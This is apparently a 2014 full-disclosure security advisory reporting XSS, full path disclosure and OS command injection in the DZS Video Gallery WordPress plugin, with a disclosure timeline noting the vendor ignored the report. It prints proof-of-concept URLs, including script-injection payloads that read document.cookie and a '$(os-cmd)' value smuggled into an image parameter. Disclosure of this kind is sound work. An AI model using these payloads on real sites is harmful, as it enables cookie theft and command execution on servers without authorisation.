XSS, FPD and RCE vulnerabilities in DZS Video Gallery for WordPress

Hello 3APA3A!

These are Cross-Site Scripting, Full path disclosure and OS Commanding vulnerabilities in plugin DZS Video Gallery for WordPress.

Earlier I've disclosed Content Spoofing and Cross-Site Scripting vulnerabilities in this plugin (http://securityvulns.ru/docs30871.html).

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Affected products:

Vulnerable are all versions of DZS Video Gallery for WordPress.

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Affected vendors:

Digital Zoom Studio
http://digitalzoomstudio.net

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Details:

Cross-Site Scripting (WASC-08):

http://site/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?designrand=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Full path disclosure (WASC-13):

http://site/wp-content/plugins/dzs-videogallery/videogallery.php

http://site/wp-content/plugins/dzs-videogallery/admin/sliderexport.php

FPD in php-files of the plugin (by default) or in error_log - in all folders of the plugin. The files vary depending on version of the plugin.

OS Commanding (WASC-31):

http://site/wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://site/1.jpg$(os-cmd)

RCE using method of Pichaya Morimoto (http://seclists.org/fulldisclosure/2014/Jun/117).

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Timeline:

2014.05.08 - announced at my site.
2014.05.09 - informed developer, but he ignored.
2014.07.12 - disclosed at my site (http://websecurity.com.ua/7152/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua